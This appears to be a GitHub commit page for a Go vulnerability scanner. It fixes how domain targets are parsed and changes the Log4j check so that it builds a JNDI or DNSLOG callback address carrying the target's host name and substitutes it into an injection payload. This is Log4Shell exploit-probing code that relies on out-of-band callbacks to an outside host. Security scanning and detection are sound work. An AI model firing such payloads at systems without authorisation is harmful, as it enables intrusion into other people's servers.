Skip to content

Commit

Permalink
修复域名无法正常扫描的问题,log4j扫描DNSLOG增加域名信息
Browse files Browse the repository at this point in the history
  • Loading branch information
veo committed Apr 28, 2022
1 parent e82e80d commit 338967b
Show file tree
Hide file tree
Showing 2 changed files with 11 additions and 5 deletions.
8 changes: 5 additions & 3 deletions pkg/naabu/v2/pkg/runner/targets.go
Original file line number Diff line number Diff line change
Expand Up @@ -122,9 +122,11 @@ func (r *Runner) AddTarget(target string) error {
gologger.Warning().Msgf("%s\n", err)
}
} else {
if u, err := url.Parse(target); err == nil {
Naabubuffer.Write([]byte(fmt.Sprintf("%s\n", fmt.Sprintf("%s://%s", u.Scheme, u.Host))))
return nil
if strings.HasPrefix(target, "http://") || strings.HasPrefix(target, "https://") {
if u, err := url.Parse(target); err == nil {
Naabubuffer.Write([]byte(fmt.Sprintf("%s\n", fmt.Sprintf("%s://%s", u.Scheme, u.Host))))
return nil
}
}
ips, err := r.resolveFQDN(target)
if err != nil {
Expand Down
8 changes: 6 additions & 2 deletions pocs_go/log4j/check.go
Original file line number Diff line number Diff line change
Expand Up @@ -11,7 +11,11 @@ import (

func Check(u string, finalURL string) bool {
if (pkg.CeyeApi != "" && pkg.CeyeDomain != "") || jndi.JndiAddress != "" {
randomstr := pkg.RandomStr() + "log4j"
var host = "null"
randomstr := pkg.RandomStr()
if ux, err := url.Parse(u); err == nil {
host = strings.Replace(ux.Host, ":", ".", -1)
}
domainx, intputs := getinputurl(finalURL)
domainx = append(domainx, u)
intputs = append(intputs, "x")
Expand All @@ -21,7 +25,7 @@ func Check(u string, finalURL string) bool {
if jndi.JndiAddress != "" {
uri = jndi.JndiAddress + "/" + randomstr + "/"
} else if pkg.CeyeApi != "" && pkg.CeyeDomain != "" {
uri = randomstr + "." + pkg.CeyeDomain
uri = randomstr + "." + host + "." + pkg.CeyeDomain
}
payload = strings.Replace(payload, "dnslog-url", uri, -1)
header := make(map[string]string)
Expand Down

0 comments on commit 338967b

Please sign in to comment.